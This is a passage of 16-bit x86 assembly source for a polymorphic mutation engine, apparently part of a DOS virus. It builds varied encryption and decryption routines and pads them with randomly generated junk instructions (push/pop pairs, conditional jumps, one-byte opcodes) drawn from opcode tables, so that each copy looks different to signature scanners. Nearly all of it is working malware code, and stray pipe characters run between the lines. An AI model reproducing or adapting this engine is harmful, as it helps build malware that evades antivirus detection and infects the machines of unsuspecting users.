;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
crypt_inc: mov al,0FFh
|
||
mov ah,byte ptr ds:[si]
|
||
stosw
|
||
mov ax,word ptr ds:[eng_displace] ; Disp
|
||
stosw
|
||
mov ds:[crypt_reverse],9048h ; dec ax
|
||
ret
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Do encryption with dec instruction ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
crypt_dec: mov al,0FFh
|
||
mov ah,byte ptr ds:[si+03h]
|
||
stosw
|
||
mov ax,word ptr ds:[eng_displace] ; Disp
|
||
stosw
|
||
mov ds:[crypt_reverse],9040h ; inc ax
|
||
ret
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Inc pointer reg using add reg,0002h ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
ptr_add0002h: mov al,83h
|
||
mov ah,byte ptr ds:[si+04h]
|
||
stosw
|
||
mov al,02h
|
||
stosb
|
||
ret
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Inc pointer reg using sub reg,FFFEh ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
ptr_subFFFEh: mov al,83h
|
||
mov ah,byte ptr ds:[si+05h]
|
||
stosw
|
||
mov al,0FEh
|
||
stosb
|
||
ret
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Inc pointer reg using inc reg + garbage + inc reg ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
ptr_inc_inc: call gen_inc_reg
|
||
call gen_garbage
|
||
call gen_inc_reg
|
||
ret
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Inc pointer reg using inc reg + garbage + add reg,0001h ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
ptr_inc_add: call gen_inc_reg
|
||
call gen_garbage
|
||
call gen_add_0001h
|
||
ret
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Inc pointer reg using add reg,0001h + garbage + inc reg ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
ptr_add_inc: call gen_add_0001h
|
||
call gen_garbage
|
||
call gen_inc_reg
|
||
ret
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Inc pointer reg using inc reg + garbage + sub reg,FFFFh ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
ptr_inc_sub: call gen_inc_reg
|
||
call gen_garbage
|
||
call gen_sub_FFFFh
|
||
ret
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Inc pointer reg using sub reg,FFFFh + garbage + inc reg ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
ptr_sub_inc: call gen_sub_FFFFh
|
||
call gen_garbage
|
||
call gen_inc_reg
|
||
ret
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Inc pointer reg using add reg,0001h + garbage + add reg,0001h ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
ptr_add_add: call gen_add_0001h
|
||
call gen_garbage
|
||
call gen_add_0001h
|
||
ret
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Inc pointer reg using sub reg,FFFFh + garbage + sub reg,FFFFh ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
ptr_sub_sub: call gen_sub_FFFFh
|
||
call gen_garbage
|
||
call gen_sub_FFFFh
|
||
ret
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Inc pointer reg using add reg,0001h + garbage + sub reg,FFFFh ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
ptr_add_sub: call gen_add_0001h
|
||
call gen_garbage
|
||
call gen_sub_FFFFh
|
||
ret
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Inc pointer reg using sub reg,FFFFh + garbage + add reg,0001h ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
ptr_sub_add: call gen_sub_FFFFh
|
||
call gen_garbage
|
||
call gen_add_0001h
|
||
ret
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Generate add reg,0001h ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
gen_add_0001h: mov al,83h
|
||
mov ah,byte ptr ds:[si+04h]
|
||
stosw
|
||
mov al,01h
|
||
stosb
|
||
ret
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Generate sub reg,FFFFh ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
gen_sub_FFFFh: mov al,83h
|
||
mov ah,byte ptr ds:[si+05h]
|
||
stosw
|
||
mov al,0FFh
|
||
stosb
|
||
ret
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Generate inc reg ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
gen_inc_reg: mov al,byte ptr ds:[si+06h]
|
||
stosb
|
||
ret
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Generate from 2 up to 5 garbage instructions ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
gen_garbage: push si
|
||
inc byte ptr ds:[eng_recursive]
|
||
cmp byte ptr ds:[eng_recursive],03h
|
||
jae unable_2_gen
|
||
mov ax,0003h
|
||
call rand_in_range
|
||
inc ax
|
||
mov cx,ax
|
||
loop_gen: push cx
|
||
mov ax,(offset end_generator - offset generator_table)/02h
|
||
call rand_in_range
|
||
add ax,ax
|
||
mov si,offset generator_table
|
||
add si,ax
|
||
call word ptr ds:[si]
|
||
pop cx
|
||
loop loop_gen
|
||
pop si
|
||
ret
|
||
unable_2_gen: mov byte ptr ds:[eng_recursive],00h
|
||
call gen_one_byte
|
||
pop si
|
||
ret
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Generate push/garbage/pop ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
gen_xpushpop: call gen_one_push
|
||
call gen_garbage
|
||
call gen_one_pop
|
||
ret
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Generate a conditional jump followed by some garbage code ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
gen_cond_jump: call get_rnd
|
||
and al,07h
|
||
or al,70h
|
||
stosb
|
||
push di
|
||
inc di
|
||
call gen_garbage
|
||
mov ax,di
|
||
pop di
|
||
push ax
|
||
sub ax,di
|
||
dec ax
|
||
stosb
|
||
pop di
|
||
ret
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Generate push/pop pairs ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
gen_push_pop: call gen_one_push
|
||
call gen_one_pop
|
||
ret
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Generate push instruction ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
gen_one_push: mov ax,offset end_push - offset push_table
|
||
call rand_in_range
|
||
mov si,offset push_table
|
||
jmp short store_byte
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Generate pop instruction ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
gen_one_pop: mov ax,offset end_pop - offset pop_table
|
||
call rand_in_range
|
||
mov si,offset pop_table
|
||
jmp short store_byte
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Generate one byte garbage ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
gen_one_byte: mov ax,offset end_one_byte - offset one_byte_table
|
||
call rand_in_range
|
||
mov si,offset one_byte_table
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Just store one byte from a table ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
store_byte: add si,ax
|
||
movsb
|
||
ret
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Gen mov,add,sub,adc,sbb,xor,and,or reg,reg ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
gen_reg_reg: mov ax,offset end_two_byte - offset two_byte_table
|
||
call rand_in_range
|
||
mov si,offset two_byte_table
|
||
call store_byte
|
||
mov ax,offset end_reg_reg - offset reg_reg_table
|
||
call rand_in_range
|
||
mov si,offset reg_reg_table
|
||
jmp short store_byte
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Gen mov,add,sub,adc,sbb,xor,and,or reg,inm (01h) ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
gen_inm_01h: mov ax,offset end_inm_01h - offset inm_01h_table
|
||
call rand_in_range
|
||
mov si,offset inm_01h_table
|
||
call store_byte
|
||
call get_rnd
|
||
stosb
|
||
ret
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Gen mov,add,sub,adc,sbb,xor,and,or reg,inm (02h) ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
gen_inm_02h: mov ax,(offset end_inm_02h - offset inm_02h_table)/02h
|
||
call rand_in_range
|
||
mov si,offset inm_02h_table
|
||
add ax,ax
|
||
add si,ax
|
||
movsw
|
||
call get_rnd
|
||
stosb
|
||
ret
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Poly engine tables ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
gen_reg_table equ this byte
|
||
opcodes_si equ this byte
|
||
db 0BEh ; mov si,imm
|
||
db 84h ; add [si+nn],key
|
||
; rol [si+nn],01h
|
||
; inc [si+nn]
|
||
db 0ACh ; sub [si+nn],key
|
||
db 0B4h ; xor [si+nn],key
|
||
db 8Ch ; ror [si+nn],01h
|
||
; dec [si+nn]
|
||
db 0C6h ; add si,imm
|
||
db 0EEh ; sub si,imm
|
||
db 46h ; inc si
|
||
db 0FEh ; cmp si,imm
|
||
opcodes_di equ this byte
|
||
db 0BFh ; mov di,imm
|
||
db 85h ; add [di+nn],key
|
||
; rol [di+nn],01h
|
||
; inc [di+nn]
|
||
db 0ADh ; sub [di+nn],key
|
||
db 0B5h ; xor [di+nn],key
|
||
db 8Dh ; ror [di+nn],01h
|
||
; dec [di+nn]
|
||
db 0C7h ; add di,imm
|
||
db 0EFh ; sub di,imm
|
||
db 47h ; inc di
|
||
db 0FFh ; cmp di,imm
|
||
opcodes_bx equ this byte
|
||
db 0BBh ; mov bx,imm
|
||
db 87h ; add [bx+nn],key
|
||
; rol [bx+nn],01h
|
||
; inc [bx+nn]
|
||
db 0AFh ; sub [bx+nn],key
|
||
db 0B7h ; xor [bx+nn],key
|
||
db 8Fh ; ror [bx+nn],01h
|
||
; dec [bx+nn]
|
||
db 0C3h ; add bx,imm
|
||
db 0EBh ; sub bx,imm
|
||
db 43h ; inc bx
|
||
db 0FBh ; cmp bx,imm
|
||
opcodes_bp equ this byte
|
||
db 0BDh ; mov bp,imm
|
||
db 86h ; add [bp+nn],key
|
||
; rol [bp+nn],01h
|
||
; inc [bp+nn]
|
||
db 0AEh ; sub [bp+nn],key
|
||
db 0B6h ; xor [bp+nn],key
|
||
db 8Eh ; ror [bp+nn],01h
|
||
; dec [bp+nn]
|
||
db 0C5h ; add bp,imm
|
||
db 0EDh ; sub bp,imm
|
||
db 45h ; inc bp
|
||
db 0FDh ; cmp bp,imm
|
||
end_gen_reg equ this byte
|
||
crypt_table equ this byte
|
||
dw offset crypt_add
|
||
dw offset crypt_sub
|
||
dw offset crypt_xor
|
||
dw offset crypt_rol
|
||
dw offset crypt_ror
|
||
dw offset crypt_inc
|
||
dw offset crypt_dec
|
||
end_crypt equ this byte
|
||
inc_ptr_table equ this byte
|
||
dw offset ptr_add0002h
|
||
dw offset ptr_subFFFEh
|
||
dw offset ptr_inc_inc
|
||
dw offset ptr_inc_add
|
||
dw offset ptr_add_inc
|
||
dw offset ptr_inc_sub
|
||
dw offset ptr_sub_inc
|
||
dw offset ptr_add_add
|
||
dw offset ptr_sub_sub
|
||
dw offset ptr_add_sub
|
||
dw offset ptr_sub_add
|
||
end_inc_ptr equ this byte
|
||
opcodes_table equ this byte
|
||
dw offset opcodes_si
|
||
dw offset opcodes_di
|
||
dw offset opcodes_bx
|
||
dw offset opcodes_bp
|
||
end_opcodes equ this byte
|
||
generator_table equ this byte ; Garbage generators:
|
||
dw offset gen_one_byte ; One byte instr
|
||
dw offset gen_push_pop ; push+pop
|
||
dw offset gen_xpushpop ; push+garbage+pop
|
||
dw offset gen_reg_reg ; mov,add,sub,or...
|
||
dw offset gen_cond_jump ; cond jmp+garbage
|
||
dw offset gen_inm_01h ; Gen reg,imm
|
||
dw offset gen_inm_02h ; Gen reg,imm
|
||
end_generator equ this byte
|
||
push_table equ this byte ; Push generator
|
||
push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
push si
|
||
push di
|
||
push bp
|
||
push sp
|
||
push cs
|
||
push ds
|
||
push es
|
||
push ss
|
||
end_push equ this byte
|
||
pop_table equ this byte ; Pop generator
|
||
pop ax
|
||
pop cx
|
||
pop dx
|
||
end_pop equ this byte
|
||
one_byte_table equ this byte ; One byte instrs
|
||
aaa
|
||
aas
|
||
cbw
|
||
clc
|
||
cld
|
||
cmc
|
||
cwd
|
||
daa
|
||
das
|
||
dec ax
|
||
dec cx
|
||
dec dx
|
||
inc ax
|
||
inc cx
|
||
inc dx
|
||
int 03h
|
||
nop
|
||
stc
|
||
std
|
||
end_one_byte equ this byte
|
||
two_byte_table equ this byte
|
||
db 8Ah ; mov reg8,reg8
|
||
db 8Bh ; mov reg16,reg16
|
||
db 02h ; add reg8,reg8
|
||
db 03h ; add reg16,reg16
|
||
db 2Ah ; sub reg8,reg8
|
||
db 2Bh ; sub reg16,reg16
|
||
db 12h ; adc reg8,reg8
|
||
db 13h ; adc reg16,reg16
|
||
db 1Ah ; sbb reg8,reg8
|
||
db 1Bh ; sbb reg16,reg16
|
||
db 32h ; xor reg8,reg8
|
||
db 33h ; xor reg16,reg16
|
||
db 22h ; and reg8,reg8
|
||
db 23h ; and reg16,reg16
|
||
db 0Ah ; or reg8,reg8
|
||
db 0Bh ; or reg16,reg16
|
||
end_two_byte equ this byte
|
||
reg_reg_table equ this byte
|
||
db 0C0h
|
||
db 0C1h
|
||
db 0C2h
|
||
db 0C3h
|
||
db 0C4h
|
||
db 0C5h
|
||
db 0C6h
|
||
db 0C7h
|
||
db 0C0h
|
||
db 0C1h
|
||
db 0C2h
|
||
db 0C3h
|
||
db 0C4h
|
||
db 0C5h
|
||
db 0C6h
|
||
db 0C7h
|
||
end_reg_reg equ this byte
|
||
inm_01h_table equ this byte
|
||
db 0B0h ; mov al,imm
|
||
db 0B4h ; mov ah,imm
|
||
db 0B2h ; mov dl,imm
|
||
db 0B6h ; mov dh,imm
|
||
db 04h ; add al,imm
|
||
db 2Ch ; sub al,imm
|
||
db 14h ; adc al,imm
|
||
db 1Ch ; sbb al,imm
|
||
db 34h ; xor al,imm
|
||
db 0Ch ; or al,01h
|
||
db 24h ; and al,imm
|
||
end_inm_01h equ this byte
|
||
